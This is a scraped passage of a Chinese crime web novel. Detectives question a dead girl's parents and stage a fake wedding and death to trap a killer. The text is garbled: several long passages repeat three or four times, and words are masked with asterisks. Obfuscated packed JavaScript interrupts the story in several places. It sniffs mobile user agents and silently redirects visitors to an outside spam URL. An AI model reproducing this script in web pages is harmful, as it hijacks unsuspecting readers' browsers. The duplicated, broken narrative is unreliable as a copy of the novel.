“也不是不可以?”楚隽调整了一下安暖坐着的姿势:“不过这个人心思深沉,就算是要设局引蛇出洞,也不能让向浩然亲自来。他现在病成这个鬼样子,风一吹就会倒,又没有这方面的经验,我怕稍有不慎,不但没钓出鱼,自己还要搭在里面。” 毕竟是老朋友,楚隽对向浩然虽然有一些幸灾乐祸,但更多的还是心痛。 “那也好办啊,给向浩然找个替身就好了。反正他刚出了车祸,脑袋可能裹得像是个木乃伊一样,只露出个眼睛鼻子就行。只要身材差不多就行,谁也认不出来。” 楚隽在脑子里把和向浩然身材差不多的人都过了一遍。 问题不大,不难找。 向浩然花花公子,保养得不错,平时也注重运动健身。身材还是挺标准的。刑警队的小伙子,有好几个能对上的。 “行。”楚隽道:“先等焦家的人回来,看看情况。再决定是开坟,还是让人扮向浩然,引蛇出洞。” 这两个方案明天上班的时候都要拿出来,放在会议室里和大家讨论一下。 然后设计出具体的流程来。 做两手准备总是对的,不要等事情到了眼前,再心急火燎地去办。 谈完案子,楚隽本来搂在安暖腰上的手,动了动。 “干嘛?” 安暖反手按住。 “没干嘛呀。” 楚隽装傻。 “别乱动。”安暖拍了他一下。 人前装模作样的楚队长,现在人后越发的飞扬起来。 楚隽呵呵一笑。 他还以为安暖会跑呢。 没想到安暖往前一趴,就趴在他肩膀上。 安暖说:“按按肩膀,摸摸背。” 要不小猫小狗喜欢被人顺** 呢,真是舒服。 楚隽无奈,只好在安暖背上一下一下的顺着往下摸,舒服的人都要软了。 “嗯,舒服。” 安暖扭了扭,发出小猫一样的哼声。 楚隽只能叹一口气。 “你舒服,我不舒服,这可怎么办?” 委屈**。 可是没办法,不舒服也只能忍着了。 第二天上班,在会议室里,楚隽将晚上和安暖商讨的事情说了一遍,众人又讨论了一下。 让向浩然装死开坟,和让向浩然装结婚钓鱼,二选一。 大家都为向浩然抹了一把同情的眼泪,不过暂时,也没有更好的办法了。 开完会,眼下也没有什么可查的方向了,案情陷入了一种诡异的沉默中。 好在这种沉默没有持续多久,第三天,传来了一个叫人振奋的消息。 焦雨花的父母,终于回国了。 一辈子连村子都没出过几回的人,出国去转了一圈,这回可算是见了大世面了。 焦父焦母下了飞机,搭了车回到村子里,有千言万语要对亲戚邻居说。 没想到刚到院子门口,就看见一辆车。 “这是谁家的车?” 焦父上下打量:“这车一看就贵,咱们村里,哪家买得起这么贵的车?” 正聊着呢,车门开了。 楚隽走了下来。 “你们是焦雨花的父母,焦成顺和吕美燕吧?” 两人一听,茫然点头。 “是,我们是。” 焦成顺手里拎着大包小包,可不少东西。 安暖看见这些东西,就难免联想到冤大头向浩然。 “我是京市刑警队队长楚隽。”楚隽道:“要找你们了解一些情况。” 安暖虽然也下了车,但是站在后面没有走到他们面前。 就在楚隽说这话的时候,她看得出来,焦雨花父母的脸色,微微变了。 这里一定有猫腻。 只有心里有事不安的人,听见警察找上门,才会这么紧张。 要不然的话,对方就会用一种疑惑和好奇并列的表情问出来,有什么事儿?说不定还是带着一颗吃瓜的心,想要听一听谁的八卦。 “刑警?”焦成顺很快调整了情绪:“楚队长,是不是有什么误会?我们什么也不知道啊。” “你们别着急,先开门。”楚隽道:“进去坐下说。” 好像这是他的房子一样。 焦雨花 父母有些不自在,但也没有其他办法,开了院子的门,进了房间。 打开房间的门之后,吕美燕站在门口愣了一下,有些迟疑道。 “老焦,你有没有觉得,房间里有点奇怪?” 焦成顺的反应要慢一点,看了半天也没看出是哪里不对劲。 “不对,肯定不对。”吕美燕面色一变:“我们出门这段时间,该不会进贼了吧?” 说完,吕美燕将手里拎着的东西往地上一丢,冲进了房间。 楚隽什么也没说。 焦成顺其实没看出什么,但是被吕美燕的动作弄得有点紧张,也跟了进去。 然后就是一阵翻箱倒柜的声音。 过了一会儿,两人出来了,看得出来,都松了一口气。 家里放着值钱东西的地方都检查了一遍,什么都没有丢。 不值钱的也没丢。 好像被人动过,但是没丢东西就不能确定。毕竟离家有阵子了,走的时候也没有特意去看什么东西在什么地方,可能只是错觉。 两人缓过来一些。 “楚队长。”吕美燕说:“你们二位先坐,我去烧点水给你们泡茶。” 这么久没回来,家里真是连热水都没有一口。 “不用。”楚隽拒绝了:“不必麻烦,就是一些简单的问题,问一下就行。” 两人无奈,只好心情忐忑地坐在楚隽对面。 像是两个即将要接受审判的**。 焦成顺只好说:“楚队长请说。” 父母有些不自在,但也没有其他办法,开了院子的门,进了房间。 打开房间的门之后,吕美燕站在门口愣了一下,有些迟疑道。 “老焦,你有没有觉得,房间里有点奇怪?” 焦成顺的反应要慢一点,看了半天也没看出是哪里不对劲。 “不对,肯定不对。”吕美燕面色一变:“我们出门这段时间,该不会进贼了吧?” 说完,吕美燕将手里拎着的东西往地上一丢,冲进了房间。 楚隽什么也没说。 焦成顺其实没看出什么,但是被吕美燕的动作弄得有点紧张,也跟了进去。 然后就是一阵翻箱倒柜的声音。 过了一会儿,两人出来了,看得出来,都松了一口气。 家里放着值钱东西的地方都检查了一遍,什么都没有丢。 不值钱的也没丢。 好像被人动过,但是没丢东西就不能确定。毕竟离家有阵子了,走的时候也没有特意去看什么东西在什么地方,可能只是错觉。 两人缓过来一些。 “楚队长。”吕美燕说:“你们二位先坐,我去烧点水给你们泡茶。” 这么久没回来,家里真是连热水都没有一口。 “不用。”楚隽拒绝了:“不必麻烦,就是一些简单的问题,问一下就行。” 两人无奈,只好心情忐忑地坐在楚隽对面。 像是两个即将要接受审判的**。 焦成顺只好说:“楚队长请说。” 父母有些不自在,但也没有其他办法,开了院子的门,进了房间。 打开房间的门之后,吕美燕站在门口愣了一下,有些迟疑道。 “老焦,你有没有觉得,房间里有点奇怪?” 焦成顺的反应要慢一点,看了半天也没看出是哪里不对劲。 “不对,肯定不对。”吕美燕面色一变:“我们出门这段时间,该不会进贼了吧?” 说完,吕美燕将手里拎着的东西往地上一丢,冲进了房间。 楚隽什么也没说。 焦成顺其实没看出什么,但是被吕美燕的动作弄得有点紧张,也跟了进去。 然后就是一阵翻箱倒柜的声音。 过了一会儿,两人出来了,看得出来,都松了一口气。 家里放着值钱东西的地方都检查了一遍,什么都没有丢。 不值钱的也没丢。 好像被人动过,但是没丢东西就不能确定。毕竟离家有阵子了,走的时候也没有特意去看什么东西在什么地方,可能只是错觉。 两人缓过来一些。 “楚队长。”吕美燕说:“你们二位先坐,我去烧点水给你们泡茶。” 这么久没回来,家里真是连热水都没有一口。 “不用。”楚隽拒绝了:“不必麻烦,就是一些简单的问题,问一下就行。” 两人无奈,只好心情忐忑地坐在楚隽对面。 像是两个即将要接受审判的**。 焦成顺只好说:“楚队长请说。” 父母有些不自在,但也没有其他办法,开了院子的门,进了房间。 打开房间的门之后,吕美燕站在门口愣了一下,有些迟疑道。 “老焦,你有没有觉得,房间里有点奇怪?” 焦成顺的反应要慢一点,看了半天也没看出是哪里不对劲。 “不对,肯定不对。”吕美燕面色一变:“我们出门这段时间,该不会进贼了吧?” 说完,吕美燕将手里拎着的东西往地上一丢,冲进了房间。 楚隽什么也没说。 焦成顺其实没看出什么,但是被吕美燕的动作弄得有点紧张,也跟了进去。 然后就是一阵翻箱倒柜的声音。 过了一会儿,两人出来了,看得出来,都松了一口气。 家里放着值钱东西的地方都检查了一遍,什么都没有丢。 不值钱的也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“楚队长。”吕美燕说:“你们二位先坐,我去烧点水给你们泡茶。” 这么久没回来,家里真是连热水都没有一口。 “不用。”楚隽拒绝了:“不必麻烦,就是一些简单的问题,问一下就行。” 两人无奈,只好心情忐忑地坐在楚隽对面。 像是两个即将要接受审判的**。 焦成顺只好说:“楚队长请说。” 父母有些不自在,但也没有其他办法,开了院子的门,进了房间。 打开房间的门之后,吕美燕站在门口愣了一下,有些迟疑道。 “老焦,你有没有觉得,房间里有点奇怪?” 焦成顺的反应要慢一点,看了半天也没看出是哪里不对劲。 “不对,肯定不对。”吕美燕面色一变:“我们出门这段时间,该不会进贼了吧?” 说完,吕美燕将手里拎着的东西往地上一丢,冲进了房间。 楚隽什么也没说。 焦成顺其实没看出什么,但是被吕美燕的动作弄得有点紧张,也跟了进去。 然后就是一阵翻箱倒柜的声音。 过了一会儿,两人出来了,看得出来,都松了一口气。 家里放着值钱东西的地方都检查了一遍,什么都没有丢。 不值钱的也没丢。 好像被人动过,但是没丢东西就不能确定。毕竟离家有阵子了,走的时候也没有特意去看什么东西在什么地方,可能只是错觉。 两人缓过来一些。 “楚队长。”吕美燕说:“你们二位先坐,我去烧点水给你们泡茶。” 这么久没回来,家里真是连热水都没有一口。 “不用。”楚隽拒绝了:“不必麻烦,就是一些简单的问题,问一下就行。” 两人无奈,只好心情忐忑地坐在楚隽对面。 像是两个即将要接受审判的**。 焦成顺只好说:“楚队长请说。” 父母有些不自在,但也没有其他办法,开了院子的门,进了房间。 打开房间的门之后,吕美燕站在门口愣了一下,有些迟疑道。 “老焦,你有没有觉得,房间里有点奇怪?” 焦成顺的反应要慢一点,看了半天也没看出是哪里不对劲。 “不对,肯定不对。”吕美燕面色一变:“我们出门这段时间,该不会进贼了吧?” 说完,吕美燕将手里拎着的东西往地上一丢,冲进了房间。 楚隽什么也没说。 焦成顺其实没看出什么,但是被吕美燕的动作弄得有点紧张,也跟了进去。 然后就是一阵翻箱倒柜的声音。 过了一会儿,两人出来了,看得出来,都松了一口气。 家里放着值钱东西的地方都检查了一遍,什么都没有丢。 不值钱的也没丢。 好像被人动过,但是没丢东西就不能确定。毕竟离家有阵子了,走的时候也没有特意去看什么东西在什么地方,可能只是错觉。 两人缓过来一些。 “楚队长。”吕美燕说:“你们二位先坐,我去烧点水给你们泡茶。” 这么久没回来,家里真是连热水都没有一口。 “不用。”楚隽拒绝了:“不必麻烦,就是一些简单的问题,问一下就行。” 两人无奈,只好心情忐忑地坐在楚隽对面。 像是两个即将要接受审判的**。 焦成顺只好说:“楚队长请说。” 第322章 本该是放不下的恨 楚隽直接便道:“想问一问你们三年前意外去世的女儿,焦雨花的事情。” 安暖明显地看见,吕美燕的眼皮抖了一下。 “雨花,已经走了三年了。”焦成顺疑惑道:“她有什么事儿?” 楚隽没先说什么事儿,而是问:“对了,你们家中,是否有焦雨花的照片?” 夫妻俩都呆了一下。 缓缓摇头。 “没有。” “一张都没有?”楚隽提出疑问:“无论是单人照,还是合照,都没有?” 夫妻俩汗颜,只好摇头。 没有就是没有,确实没有,这个是编也编不出来的。 楚隽道:“焦雨花是你们的亲生女儿,虽然过世也不过三年,怎么会连一张照片都没有呢?” “这不是,不是……害怕看见了就会想她吗。”吕美燕抹了抹根本不存在的眼泪:“雨花这孩子可怜。她从小聪明又懂事,又好学又勤快。我和她爸爸都非常疼她,想着好好培养,以后肯定能成大器。虽然是个女孩子,但说不定比男孩子还要强几分。” 焦成顺在一边连连点头。 安暖冷眼旁观,心里只为焦雨花觉得悲哀。 她是**,她要是没死,以后的日子也一定很难过。 十有**会在刚刚成年,甚至都没有成年的时候,被父母嫁给一个,只要能出得起彩礼,其他都无所谓的男人。换一笔钱给她哥哥娶媳妇。 而在这之前,找个地方上班,然后每个月的工资全部交给家里。 这是农村,甚至城市也不可避免的,很多女孩子的真实写照。 要不是他们事先对村子里其他村民进行了详细的调查,知道焦雨花在家中过的是什么样的日子,就只看这夫妻俩的嘴脸,还真容易被哄骗地相信了。 吕美燕还不知道自己此时就像是个小丑,还在抹着眼泪。 “本来是有不少照片的,但实在是受不了,看不得,看了就想得不行。所以没办法,就都烧掉了。” 楚隽毫不客气地说:“害怕睹物思人,放起来就是了,又何必都烧掉呢?怎么舍得?” 吕美燕被堵的顿了一下,这才勉强道:“是舍不得,但也是当时想岔了。后来后悔了,就来不及了。” “嗯。” 楚隽没有对这个问题再纠缠下去,喜欢不喜欢,烧了是舍不得还是害怕,这都是说不清的事情。没有证据,自由心证没有意义。 楚隽继续道:“据我们调查所知,焦雨花是在三年 前,出了交通意外身亡的,是不是?” “是……是交通意外。”焦成顺总算是收了向浩然那么多钱,知道为他说话。 “当时天黑,司机又喝了点酒,雨花也有不对,和我们吵架突然冲出了马路,才会造成意外。当时我们想着,对方也不是故意的,就私了了。” 安暖依然拿着笔记本,哗啦啦地记着。 一边记录,一边恨不得现在改行。 可惜术业有专攻,她上辈子也不是研究电子技术的科研人员。要不然的话,现在高低要投身开始研究智能手机。 可录像,可录音,就不用一个字一个字记录那么辛苦了。 焦成顺听楚隽问了一堆焦雨花三年前的事情,终于忍不住了。 “楚队长。”焦成顺终于忍不住道:“这都已经是三年前的事情了,现在突然问起来,到底是出了什么事情?” “嗯,是出了一件事情。”楚隽道:“不小心撞了焦雨花的司机向浩然,前阵子也出了车祸,现在生死未卜。警方经过初步调查,认为是报复**。” 焦成顺夫妻俩的表情,这下瞬间就变了。 焦成顺甚至激动地站了起来。 “什么,你说什么?” “向浩然出了交通意外,就在他当年撞**焦雨花的地方。警方怀疑,是报复**,而焦雨花,是你们的女儿,所以,目前你们的嫌疑是最大的。” 焦成顺激动道:“怎么会这样,他怎么会出意外,他……他不会死吧?” 吕美燕甚至双手合十念起了佛。 别死,比死,可千万别出事啊。你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不管玩得愉快不愉快,至少虚荣心得到了极大的满足。 这可是村子里的头一份,其他人想都不敢想的事情。 只是没想到,回来之后,还没喝一口水,还没来得及跟谁吹嘘吹嘘,被人吹捧吹捧,就被楚隽和安暖这些问题砸得头昏脑涨。 “我们……我们不是不恨他。吕美燕结结巴巴说:“那人死不能复生,总不能叫人偿命吧。楚队长,你要说凶手,那就是他啊,当时我们都在,看得明明白白,就是他的车撞到了雨花,当场人就不行了。 楚隽又问了一遍,是怎么不行的? 可惜,焦成顺夫妻也说不清楚。 颠三倒四,糊里糊涂。 只有吐血这一情况说得和向浩然一样。 没有医学知识的人,对于人体所受的伤害,很难有一个准确的分辨。 外伤还好,是胳膊断了还是腿断了,是脑袋破了还是肚子破了,这还能一眼看出区别。但内伤就完全没有办法了。 比如吐血,可以造成吐血的伤害是很多的,但没有专业知识不行,甚至有些是需要上机器检查的,光靠肉眼和经验都无法判断。 如果焦成顺夫妻有这方面知识,不管是说真话还是说假话,都有迹可循。 但他们什么都不懂,反倒是更没法。是睁着眼睛说瞎话,有意骗人。还是确实不懂,只是单纯凭借自己的想象力胡说,根本无法确认。 楚隽放弃了这个问题的努力。 “你们给焦雨花办了一场冥婚,有这事情吧? “有。 “冥婚上,装作焦雨花替身的小姑娘,是谁? “是一个叫娜娜的小姑娘。吕美燕说:“说是焦雨花的朋友。 “什么朋友? “我们也不知道。吕美燕说:“她是自己来的,说是知道雨花出了事,来看看她。之前我也没见过她,之后,我也没再见过她。当时金大师说,要给雨花找个替身,但这事情哪有人愿意,我正愁着呢,她恰好来了。 安暖一听,心里有数。 吕美燕这是欺负人呢。 有大人的孩子,她根本就不敢问这话,问了肯定要被怼,给钱也不会有人干。 这小姑娘,她是自己来的,没有大人在。 吕美燕觉得对方是个不懂事的小孩子,当时还不知道是怎么说糊弄对方,让她糊里糊涂的当了自己女儿的鬼新娘替身。 至于给了钱。 那可不是良心不安,而是这事情太缺德,怕遭报应。也怕这事情被人发现以后,被人指着鼻子骂。 给了钱就不一样了,就算小女孩儿的父母找上门来,他们也能理直气壮了。 是你女儿自己想赚这个钱,可不是我们强迫她的。 这么一说,顿时就好像有理了一样。 但这娜娜出现得实在蹊跷。 本来,他们将很大的希望放在焦成顺夫妻回国,觉得这是个突破口,只要他们回国了,说不定这事情就真相大白了。 可是问来问去,夫妻俩什么也说不出来。 安暖仔细地观察了夫妻俩的表情。 很奇怪。 是有些慌的,但是也不像在说谎。 两人翻来覆去地问了一通,没有什么重要的突破。 出了村,开车回局里。 安暖叹了一口气:“看样子,这个事儿是省不了了,还是得开棺。” 这是最后一个办法,非常不好的一个办法。 还有一个办法是让向浩然抓紧结婚,引出凶手。 但这两件事情没有冲突,完全可以同时进行。 一边抓紧结婚引出凶手,不管引出没引出,都可以装死。 如果引出了凶手,就死在凶手手上。 如果没引出凶手,给他找个别的死法。 **复活为难,活人弄死,那再简单不过了,刑警队都是专业的。 两人又去了医院。 向浩然虽然还活着,但生无可恋。 刚出急救室的时候,麻药未退,痛苦有限。 这两天开始恢复了知觉,麻药也不能一直用,全身就没有哪里不痛的。 痛又不能动,痛也只能忍着,天天忍得想死。 对此, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998105|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连景山虽然同情,却也觉得他确实应该受一点教训。 这次痛一痛,以后再也不酒后开车了,这也是好事。不然早晚要丢了命。 进了病房,楚隽居高临下看着向浩然。 “伤口痛了吧?” “痛,痛得想死。”向浩然唉声叹气。 “那我可以成全你了。”楚隽说:“准备准备,可以**。” 向浩然瞪大眼睛看着楚隽。 这是什么话啊。 这话,是应该对着一个伤患说出来的吗? 但是楚隽就是说了,并且还叫来了向爸爸。 关上门,将计划详细地说了一下。 虽然听起 来有点扯,但是到了这个时候,就算是向爸爸这样见多识广的人,也只能相信警方。 也相信楚隽和向浩然的友谊坚不可摧,不管怎么样,楚隽提出的办法有多少奇怪,一定是为了向浩然好。 “都听你的。”向爸爸当下就表示:“楚队,你怎么安排,我们就怎么做。” “好。” 楚隽当下就拍板:“那你们准备准备,把楚隽要结婚的消息散布出去。” 订婚不过五天,楚隽,要结婚了。 楚隽带着安暖回办公室的时候,已经快下班了。 不过今天加班了,在会议室里,楚隽将计划说了出来。还特意叫来了法医室主任一起商量。 开棺要有意义,才值得大费周章。 乔主任给大家打了包票。 “虽然现在坟里只剩下一具骸骨,但是,死者是被车撞死,还是死于其他原因,是很有可能区分出来的。我认为,开棺验尸,很有意义。很可能给案件带来突破性的进展。” 焦雨花到底是死在向浩然手里,还是死在其他人手里。 这直接决定了凶手是谁。 若死在向浩然手里,是交通意外。可若是死在别人手里呢?那就可能是赤裸裸的**。 这个为焦雨花报仇的凶手,也应该知道真相。 乔主任都这么说了,那就更没有问题了。 这一天晚上,刑警队的灯又亮了很晚。 第324章 **一个 虽然这局说起来简单,但一环扣一环,想要瞒住暗处的凶手,也没有那么容易。 何况向浩然是不能出面的。 要秘密将他转移到别的地方去。 同时让刑警队里和向浩然身形最像的人冒充他,住进医院里。 病号服一换,纱布把脑袋一裹,弄出一副要死不活的样子。 这件事情,只有向浩然和他父母,以及刑警队的人知道。最多也就是医院的领导和主治医生,向浩然父亲的几个亲信知道。 这都是瞒不住的。 总要人干活儿。 而且这些人的身份都是十分可靠的,倒不是说他们的心思有多纯正,而是说他们如果想要害向浩然,完全可以用更方便省事儿的办法,没有必要那么麻烦。 其他人就不必知道了。 包括向浩然即将成婚的未婚妻和家人,都不必知道。 什么都不知道,戏才能演的真实。 知道的人少,才会尽量减少消息外泄的风险。 婚礼依然在那天摆订婚宴的酒店。 不过这次情况特殊,所以范围很小。 不再广泛宴请宾客了,就两家父母,以及新郎新娘双方的关系特别好的朋友。 总共两桌。 父母亲戚一桌,朋友一桌。 两桌都没坐满。 假冒的向浩然更是有史以来最作孽的新郎官。 安暖也看过不是活蹦乱跳的新郎官。 比如婚期已定,酒席什么都订好了,不好退也不好改的。新郎官临时出了意外,摔断了腿,于是坐着轮椅参加自己的婚礼。 这都不是什么新鲜的新闻了。 新娘子坐着轮椅参加自己婚礼也是有的,拄着拐杖参加婚礼也是有的,不足一提。 但确实,她不得不承认,她还从没碰见过,躺在担架上参加自己的婚礼的。 脑袋还包的像是木乃伊一样。 甚至戴了一副墨镜。 对外的解释是,眼睛受了伤,医生说了不能见强光。大厅里的灯光太耀眼了,所以必须要戴上墨镜,保护眼睛。 楚隽今天不是刑警队长,而是楚隽的伴郎。 楚隽站在向浩然身边,替他招呼来往宾客。 也就是那么几个。 向浩然和新娘子郎若璃的朋友是不熟悉的,能看的出来,他们对这个新郎的反应很微妙。 当面不好说什么,只能祝他们夫妻和睦,恩爱到老。但是躲到角落里去蛐蛐,那是 肯定的事情。谁参加婚礼碰见这样的新郎不蛐蛐呢。 郎若璃对于楚隽非要这么勉强的举办一个小型婚礼也感觉到十分不理解,向浩然父亲给郎家的解释是。 冲洗。 这车祸有点邪门,找大师算了一下。 大师说,向浩然最近可能还有大劫,想要渡过此劫,就要办喜事冲喜,就能平平安安。 不管是村里还是城里,不管是有学问的还是没学问的,华夏大地上,大家多少都是信一点的。 就算是嘴里说不信,心里也难免信一点。 宁可信其有,反正不吃亏。 郎家想了想。 办了婚礼也好。 本来虽然想办的风风光光,可向浩然出了车祸,这也是没办法的事情。 还伤的那么严重,若是等他完全康复以后再举办婚礼,那郎若璃的肚子就很大了。少说也要一年半载,说不定孩子都生了,那可怎么好? 算了,不如现在办了就办了吧。 顶多是别请什么人,就办一下仪式。 等后面向浩然身体恢复了,孩子也生下来了,孩子办满月酒的时候,再大宴宾客也来得及。 于是一商量,郎家也同意了。 郎若璃不知道今天晚上向浩然打算假死,但是她现在怀了孕,有些孕吐的反应,对味道非常敏感。 向浩然这一身的药味啊。 郎若璃根本就不能靠近。 准夫妻俩只远远的见了一下,郎若璃只看见包成木乃伊的一个身影,一点儿脸都没看着。 她和向浩然本来也没有那么熟悉,这么一看,也分不出真假来,根本就没有多想。 仪式就这么进行了下去。 荒诞又正经。 麻雀虽小,五脏俱全。 司仪在台上喊,请新郎新娘交换戒指。 安暖真是把这辈子伤心的事情都想了一遍,这才忍住没有笑疯。 新郎新娘离着十米远,一个在那头,一个在这头。 楚隽拿着一枚戒指,给向浩然戴上了。难为他身上包成这个样子,还能找出可以戴戒指的手指。 另外一边,郎若璃也戴上了戒指。 司仪喊顺口了,接下来就想喊,现在新郎可以亲吻新娘了。 好在张了张嘴,觉得不对劲,又把这话给咽了下去。 戴戒指这事情,楚隽还能当个新娘替身,帮向浩然把戒指戴上。 但新郎亲吻新娘,他总不能做吻替吧。 这都 叫什么事儿啊,今天这场婚礼,真是他职业生涯中难忘的一幕。 仪式结束,大家该吃吃,该喝喝。 楚隽招呼人,送向浩然去休息。 宾馆里,安排了几个房间。 向浩然送进了其中一个套房。 众人松了一口气。 “你休息一会儿。”楚隽对向浩然说:“我去看看还有什么事情,一会儿过来。你要是有什么不舒服,就打电话,这里有内线电话。” 向浩然点了点头。 楚隽就走了。 房间的门没有关,只是掩上了。 这是给凶手留下的时间和空间。 如果对方准备有所行动,就是现在了。 楚隽出去转了一圈,没有回来。 套房里,向浩然躺在卧室的床上。 床底下,躲着他的兄弟。 两人随时可以一跃而起。 凶手有各种算计,只能证明他脑子好使,心机深沉。但是,只要他露面,就不怕抓不住。 要是两名刑警都抓不住一个凶手,那这一起**吧。 时间就这么一分一秒的过去。 酒店里很安静,什么都没有发生。 躺在床上的向浩然,从开始的紧张,差一点睡着。 床底下的那个,都快要开始打呼了。 这一夜,凶手没有出现。 但第二天还是传来了噩耗。 向浩然,**。 因为晚上太高兴了,喝了一杯酒,酒精和药物产生了排斥过敏,送进急救室里,没抢救过来。 死的十分潦草。 叫什么事儿啊,今天这场婚礼,真是他职业生涯中难忘的一幕。 仪式结束,大家该吃吃,该喝喝。 楚隽招呼人,送向浩然去休息。 宾馆里,安排了几个房间。 向浩然送进了其中一个套房。 众人松了一口气。 “你休息一会儿。”楚隽对向浩然说:“我去看看还有什么事情,一会儿过来。你要是有什么不舒服,就打电话,这里有内线电话。” 向浩然点了点头。 楚隽就走了。 房间的门没有关,只是掩上了。 这是给凶手留下的时间和空间。 如果对方准备有所行动,就是现在了。 楚隽出去转了一圈,没有回来。 套房里,向浩然躺在卧室的床上。 床底下,躲着他的兄弟。 两人随时可以一跃而起。 凶手有各种算计,只能证明他脑子好使,心机深沉。但是,只要他露面,就不怕抓不住。 要是两名刑警都抓不住一个凶手,那这一起**吧。 时间就这么一分一秒的过去。 酒店里很安静,什么都没有发生。 躺在床上的向浩然,从开始的紧张,差一点睡着。 床底下的那个,都快要开始打呼了。 这一夜,凶手没有出现。 但第二天还是传来了噩耗。 向浩然,**。 因为晚上太高兴了,喝了一杯酒,酒精和药物产生了排斥过敏,送进急救室里,没抢救过来。 死的十分潦草。 叫什么事儿啊,今天这场婚礼,真是他职业生涯中难忘的一幕。 仪式结束,大家该吃吃,该喝喝。 楚隽招呼人,送向浩然去休息。 宾馆里,安排了几个房间。 向浩然送进了其中一个套房。 众人松了一口气。 “你休息一会儿。”楚隽对向浩然说:“我去看看还有什么事情,一会儿过来。你要是有什么不舒服,就打电话,这里有内线电话。” 向浩然点了点头。 楚隽就走了。 房间的门没有关,只是掩上了。 这是给凶手留下的时间和空间。 如果对方准备有所行动,就是现在了。 楚隽出去转了一圈,没有回来。 套房里,向浩然躺在卧室的床上。 床底下,躲着他的兄弟。 两人随时可以一跃而起。 凶手有各种算计,只能证明他脑子好使,心机深沉。但是,只要他露面,就不怕抓不住。 要是两名刑警都抓不住一个凶手,那这一起**吧。 时间就这么一分一秒的过去。 酒店里很安静,什么都没有发生。 躺在床上的向浩然,从开始的紧张,差一点睡着。 床底下的那个,都快要开始打呼了。 这一夜,凶手没有出现。 但第二天还是传来了噩耗。 向浩然,**。 因为晚上太高兴了,喝了一杯酒,酒精和药物产生了排斥过敏,送进急救室里,没抢救过来。 死的十分潦草。 叫什么事儿啊,今天这场婚礼,真是他职业生涯中难忘的一幕。 仪式结束,大家该吃吃,该喝喝。 楚隽招呼人,送向浩然去休息。 宾馆里,安排了几个房间。 向浩然送进了其中一个套房。 众人松了一口气。 “你休息一会儿。”楚隽对向浩然说:“我去看看还有什么事情,一会儿过来。你要是有什么不舒服,就打电话,这里有内线电话。” 向浩然点了点头。 楚隽就走了。 房间的门没有关,只是掩上了。 这是给凶手留下的时间和空间。 如果对方准备有所行动,就是现在了。 楚隽出去转了一圈,没有回来。 套房里,向浩然躺在卧室的床上。 床底下,躲着他的兄弟。 两人随时可以一跃而起。 凶手有各种算计,只能证明他脑子好使,心机深沉。但是,只要他露面,就不怕抓不住。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998106|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >要是两名刑警都抓不住一个凶手,那这一起**吧。 时间就这么一分一秒的过去。 酒店里很安静,什么都没有发生。 躺在床上的向浩然,从开始的紧张,差一点睡着。 床底下的那个,都快要开始打呼了。 这一夜,凶手没有出现。 但第二天还是传来了噩耗。 向浩然,**。 因为晚上太高兴了,喝了一杯酒,酒精和药物产生了排斥过敏,送进急救室里,没抢救过来。 死的十分潦草。 叫什么事儿啊,今天这场婚礼,真是他职业生涯中难忘的一幕。 仪式结束,大家该吃吃,该喝喝。 楚隽招呼人,送向浩然去休息。 宾馆里,安排了几个房间。 向浩然送进了其中一个套房。 众人松了一口气。 “你休息一会儿。”楚隽对向浩然说:“我去看看还有什么事情,一会儿过来。你要是有什么不舒服,就打电话,这里有内线电话。” 向浩然点了点头。 楚隽就走了。 房间的门没有关,只是掩上了。 这是给凶手留下的时间和空间。 如果对方准备有所行动,就是现在了。 楚隽出去转了一圈,没有回来。 套房里,向浩然躺在卧室的床上。 床底下,躲着他的兄弟。 两人随时可以一跃而起。 凶手有各种算计,只能证明他脑子好使,心机深沉。但是,只要他露面,就不怕抓不住。 要是两名刑警都抓不住一个凶手,那这一起**吧。 时间就这么一分一秒的过去。 酒店里很安静,什么都没有发生。 躺在床上的向浩然,从开始的紧张,差一点睡着。 床底下的那个,都快要开始打呼了。 这一夜,凶手没有出现。 但第二天还是传来了噩耗。 向浩然,**。 因为晚上太高兴了,喝了一杯酒,酒精和药物产生了排斥过敏,送进急救室里,没抢救过来。 死的十分潦草。 叫什么事儿啊,今天这场婚礼,真是他职业生涯中难忘的一幕。 仪式结束,大家该吃吃,该喝喝。 楚隽招呼人,送向浩然去休息。 宾馆里,安排了几个房间。 向浩然送进了其中一个套房。 众人松了一口气。 “你休息一会儿。”楚隽对向浩然说:“我去看看还有什么事情,一会儿过来。你要是有什么不舒服,就打电话,这里有内线电话。” 向浩然点了点头。 楚隽就走了。 房间的门没有关,只是掩上了。 这是给凶手留下的时间和空间。 如果对方准备有所行动,就是现在了。 楚隽出去转了一圈,没有回来。 套房里,向浩然躺在卧室的床上。 床底下,躲着他的兄弟。 两人随时可以一跃而起。 凶手有各种算计,只能证明他脑子好使,心机深沉。但是,只要他露面,就不怕抓不住。 